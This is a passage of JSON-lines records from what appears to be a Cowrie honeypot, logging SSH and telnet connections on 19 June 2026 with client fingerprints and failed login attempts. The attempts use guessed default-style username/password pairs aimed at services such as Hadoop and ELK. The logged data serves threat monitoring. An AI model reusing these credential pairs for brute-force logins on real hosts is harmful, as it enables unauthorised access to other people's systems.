{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:34.454703Z","src_ip":"165.154.137.186","session":"e02f769468de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:35.346730Z","src_ip":"165.154.137.186","session":"e02f769468de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":46892,"dst_ip":"10.17.0.5","dst_port":22,"session":"36481393d7f3","protocol":"ssh","message":"New connection: 165.154.137.186:46892 (10.17.0.5:22) [session: 36481393d7f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:35.782682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:35.786796Z","src_ip":"165.154.137.186","session":"36481393d7f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:36.050095Z","src_ip":"165.154.137.186","session":"36481393d7f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:36.597417Z","src_ip":"165.154.137.186","session":"e02f769468de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:36.842891Z","src_ip":"165.154.137.186","session":"36481393d7f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:38.122614Z","src_ip":"165.154.137.186","session":"36481393d7f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":34344,"dst_ip":"10.17.0.5","dst_port":22,"session":"71db581294a7","protocol":"ssh","message":"New connection: 165.154.137.186:34344 (10.17.0.5:22) [session: 71db581294a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:43.770950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:43.819274Z","src_ip":"165.154.137.186","session":"71db581294a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:44.037345Z","src_ip":"165.154.137.186","session":"71db581294a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:45.080362Z","src_ip":"165.154.137.186","session":"71db581294a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:46.393961Z","src_ip":"165.154.137.186","session":"71db581294a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.20201826095581,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:48.500072Z","src_ip":"94.23.66.112","session":"feb1512632ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43140,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae3ef97aca91","protocol":"ssh","message":"New connection: 165.154.137.186:43140 (10.17.0.5:22) [session: ae3ef97aca91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:52.376890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:52.379865Z","src_ip":"165.154.137.186","session":"ae3ef97aca91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:52.627661Z","src_ip":"165.154.137.186","session":"ae3ef97aca91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":52914,"dst_ip":"10.17.0.5","dst_port":22,"session":"3528d6b6a38e","protocol":"ssh","message":"New connection: 38.148.249.2:52914 (10.17.0.5:22) [session: 3528d6b6a38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:53.251940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:53.255455Z","src_ip":"38.148.249.2","session":"3528d6b6a38e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:53.324615Z","src_ip":"38.148.249.2","session":"3528d6b6a38e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:53.371526Z","src_ip":"165.154.137.186","session":"ae3ef97aca91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazxdr5","message":"login attempt [ubuntu/1qazxdr5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:53.635715Z","src_ip":"38.148.249.2","session":"3528d6b6a38e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:54.622680Z","src_ip":"165.154.137.186","session":"ae3ef97aca91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:54.707474Z","src_ip":"38.148.249.2","session":"3528d6b6a38e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43150,"dst_ip":"10.17.0.5","dst_port":22,"session":"d456920fe581","protocol":"ssh","message":"New connection: 165.154.137.186:43150 (10.17.0.5:22) [session: d456920fe581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:06.216842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:06.224915Z","src_ip":"165.154.137.186","session":"d456920fe581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":80.72481346130371,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:06.291966Z","src_ip":"94.23.66.112","session":"0450a1620993","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:06.479881Z","src_ip":"165.154.137.186","session":"d456920fe581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":37576,"dst_ip":"10.17.0.5","dst_port":22,"session":"587c770fb88e","protocol":"ssh","message":"New connection: 165.154.137.186:37576 (10.17.0.5:22) [session: 587c770fb88e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:07.195532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:07.200444Z","src_ip":"165.154.137.186","session":"587c770fb88e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:07.248379Z","src_ip":"165.154.137.186","session":"d456920fe581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:07.452898Z","src_ip":"165.154.137.186","session":"587c770fb88e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:08.422800Z","src_ip":"165.154.137.186","session":"587c770fb88e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:08.503983Z","src_ip":"165.154.137.186","session":"d456920fe581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.566322326660156,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:08.772664Z","src_ip":"128.199.8.54","session":"cad4856ead6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:09.680051Z","src_ip":"165.154.137.186","session":"587c770fb88e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":34902,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb08872e2a3c","protocol":"ssh","message":"New connection: 103.216.145.2:34902 (10.17.0.5:22) [session: eb08872e2a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:38.487612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:38.492403Z","src_ip":"103.216.145.2","session":"eb08872e2a3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:38.688469Z","src_ip":"103.216.145.2","session":"eb08872e2a3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"Welcome@1234","message":"login attempt [user1/Welcome@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:39.502192Z","src_ip":"103.216.145.2","session":"eb08872e2a3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:39:40.699531Z","src_ip":"103.216.145.2","session":"eb08872e2a3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":60358,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c31b498c0bb","protocol":"ssh","message":"New connection: 165.154.137.186:60358 (10.17.0.5:22) [session: 6c31b498c0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:09.669634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:09.674335Z","src_ip":"165.154.137.186","session":"6c31b498c0bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@op